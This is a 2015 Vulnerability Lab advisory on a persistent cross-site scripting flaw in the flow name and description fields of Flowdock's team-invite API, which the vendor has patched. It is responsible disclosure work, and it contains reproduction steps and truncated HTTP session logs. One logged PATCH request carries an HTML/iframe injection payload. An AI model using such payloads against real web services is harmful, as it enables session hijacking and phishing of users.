===============
Flowdock API Bug Bounty #3 - (Invite) Persistent Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
Release Date:
=============
2015-09-24
Vulnerability Laboratory ID (VL-ID):
==============================
1574
Common Vulnerability Scoring System:
==============================
3.8
Product & Service Introduction:
==============================
Chat & inbox for teams.. One place to talk and stay up-to-date. Flowdock is a team collaboration app for desktop, mobile & web.
Work on things that matter, be transparent and solve problems across tools, teams & time zones. Try it for free for 30 days. Keeping Flowdock`s
environment and customer data safe and secure is a top priority for us. Find more details on our Help pages. Don`t hesitate to contact us
at support@flowdock.com should you have any questions about Flowdock`s security.
(Copy of the Vendor Homepage: https://www.flowdock.com/
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Flowdock online service web-application.
Vulnerability Disclosure Timeline:
==============================
2015-08-16: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2015-08-17: Vendor Notification (Flowdock Security Team - Bug Bounty Program)
2015-08-17: Vendor Response/Feedback (Flowdock Security Team - Bug Bounty Program)
2015-08-18: Vendor Fix/Patch (Flowdock Developer Team)
2015-09-24: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Rally Software
Product: Flowdock - Online Service (Web-Application) [API] 2015 Q3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
An application-side input validation web vulnerability has been discovered in the official Flowdock online-service web-application.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable context function or service module.
The vulnerability is located in the flow name and flow description values of the Invite your Team (Flowdock Rest API) module POST method request.
Remote attackers with low privilege application user accounts are able to inject own malicious script codes to the application-side of the service.
The request method to inject malicious context is POST and the attack vector is located on the application-side of the flowdock api web-service.
Remote attackers are able to inject malicious script codes to the application-side to compromise flowdock rest api dashboard (messages) by session
manipulation or session evasion attacks. The attacker inject via name and description values malicious payloads which demonstrates the injection point
and the execution point is in the insecure validated message inbox of the main deashboard.
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources
and persistent manipulation of affected or connected service module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Invite your Team (Flowdock Rest API)
Vulnerable Parameter(s):
[+] Flow Name
[+] Flow Description
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privilege application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Login to your account at the flowdock website
2. Surf to the main dasboard module
3. Click the invite your team button
4. Switch to the flow menu bar
5. Inject malicious script code test payload to the name and description of flowdock inputs via api
6. Save the input and return back to the module by refresh or cancel after update
7. The code executes in the message board but also in the message dasboard index were the user has been invited to grant access
8. Successful reproduce of the vulnerability in flowdock api and main dashbaord!
Note: Use tamper data in mozilla to manipulate the session values and to approve the existence of the vulnerability!
Execution Point:
https://www.flowdock.com/app/
https://www.flowdock.com/app/
Inject Point via Invite:
https://www.flowdock.com/app/
> https://www.flowdock.com/app/
> Flow description & Flow description
PoC:
../(Vulnerability Lab) - Flowdock.htm
../(Vulnerability Lab) - Flowdock_2.htm
--- PoC Session Logs [POST] ---
14:45:37.893[547ms][total 547ms] Status: 200[OK]
PATCH https://www.flowdock.com/rest/
Request Header:
Host[www.flowdock.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Content-Type[application/json; charset=UTF-8]
X-CSRF-Token[F1Gu5THaCu+
X-Requested-With[
Referer[https://www.flowdock.
Content-Length[27]
Cookie[_flowdock_session=
Connection[keep-alive]
POST-Daten:
{"team_notifications":true}[]
Response Header:
Date[Mon, 17 Aug 2015 12:45:40 GMT]
status[200 OK]
Strict-Transport-Security[max-
X-Frame-Options[SAMEORIGIN]
X-XSS-Protection[1; mode=block]
x-content-type-options[
Flowdock-User[171908]
Content-Type[application/json; charset=utf-8]
Cache-Control[private, no-store, no-cache]
X-Request-ID[eec0bb24-f305-
X-Runtime[0.231912]
Set-Cookie[_flowdock_session=
X-Server-Id[
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[1038]
14:45:41.389[279ms][total 279ms] Status: 200[OK]
GET https://www.flowdock.com/rest/
Request Header:
Host[www.flowdock.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
X-CSRF-Token[F1Gu5THaCu+
X-Requested-With[
Referer[https://www.flowdock.
Cookie[_flowdock_session=
Connection[keep-alive]
Response Header:
Date[Mon, 17 Aug 2015 12:45:43 GMT]
status[200 OK]
Strict-Transport-Security[max-
X-Frame-Options[SAMEORIGIN]
X-XSS-Protection[1; mode=block]
x-content-type-options[
Flowdock-User[171908]
Content-Type[application/json; charset=utf-8]
Cache-Control[private, no-store, no-cache]
X-Request-ID[5b95710b-b69a-
X-Runtime[0.073496]
Set-Cookie[_flowdock_session=
X-Server-Id[
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[462]
14:45:41.671[269ms][total 269ms] Status: 200[OK]
GET https://www.flowdock.com/rest/
Request Header:
Host[www.flowdock.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
X-CSRF-Token[F1Gu5THaCu+
X-Requested-With[
Referer[https://www.flowdock.
Cookie[_flowdock_session=
Connection[keep-alive]
Response Header:
Date[Mon, 17 Aug 2015 12:45:43 GMT]
status[200 OK]
Strict-Transport-Security[max-
X-Frame-Options[SAMEORIGIN]
X-XSS-Protection[1; mode=block]
x-content-type-options[
Flowdock-User[171908]
Content-Type[application/json; charset=utf-8]
Cache-Control[private, no-store, no-cache]
X-Request-ID[63eb2e65-2171-
X-Runtime[0.061483]
Set-Cookie[_flowdock_session=
X-Server-Id[
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[424]
14:45:49.468[349ms][total 349ms] Status: 200[OK]
PATCH https://www.flowdock.com/rest/
Request Header:
Host[www.flowdock.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Content-Type[application/json; charset=UTF-8]
X-CSRF-Token[F1Gu5THaCu+
X-Requested-With[
Referer[https://www.flowdock.
Content-Length[196]
Cookie[_flowdock_session=
Connection[keep-alive]
POST-Daten:
{"name":"Main \"><\"<img src[\"x\">%20%20>\"<iframe src=a>%20<iframe>","
Response Header:
Date[Mon, 17 Aug 2015 12:45:51 GMT]
status[200 OK]
Strict-Transport-Security[max-
X-Frame-Options[SAMEORIGIN]
X-XSS-Protection[1; mode=block]
x-content-type-options[
Flowdock-User[171908]
Content-Type[application/json; charset=utf-8]
Cache-Control[private, no-store, no-cache]
X-Request-ID[55928ba7-369b-
X-Runtime[0.143648]
Set-Cookie[_flowdock_session=
X-Server-Id[
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[1043]
14:45:49.866[243ms][total 243ms] Status: 200[OK]
GET https://www.flowdock.com/app/
Request Header:
Host[www.flowdock.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[image/png,image/*;q=0.
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://www.flowdock.
Cookie[_flowdock_session=
Connection[keep-alive]
Response Header:
Date[Mon, 17 Aug 2015 12:45:51 GMT]
status[200 OK]
Strict-Transport-Security[max-
X-Frame-Options[SAMEORIGIN]
X-XSS-Protection[1; mode=block]
x-content-type-options[
content-security-policy[
Content-Type[text/html; charset=utf-8]
Cache-Control[private, no-store, no-cache]
X-Request-ID[b88f5455-09d4-
X-Runtime[0.030890]
Set-Cookie[_flowdock_session=
X-Server-Id[
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[755]
14:45:49.880[260ms][total 260ms] Status: 200[OK]
GET https://www.flowdock.com/app/
Request Header:
Host[www.flowdock.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[text/html,application/
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://www.flowdock.
Cookie[_flowdock_session=
Connection[keep-alive]
Response Header:
Date[Mon, 17 Aug 2015 12:45:51 GMT]
status[200 OK]
Strict-Transport-Security[max-
X-Frame-Options[SAMEORIGIN]
X-XSS-Protection[1; mode=block]
x-content-type-options[
content-security-policy[
Content-Type[text/html; charset=utf-8]
Cache-Control[private, no-store, no-cache]
X-Request-ID[f5b2b500-c39e-
X-Runtime[0.038200]
Set-Cookie[_flowdock_session=
X-Server-Id[
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[756]
Reference(s):
https://www.flowdock.com/
https://www.flowdock.com/rest/
https://www.flowdock.com/rest/
https://www.flowdock.com/app/
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable flow name or description name input fields.
Restrict the input and the parameter request to prevent persistent script code injection to the main dashboard module.
Filter the context of the output value in the message, treat link and chat inbox module to finally resolve the zero-day vulnerability.
Security Risk:
==============
The security risk of the application-side vulnerability in the flowdock online service web-application is estimated as medium. (CVSS 3.8)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [bkm@evolution-sec.com]
Disclaimer & Information:
=========================
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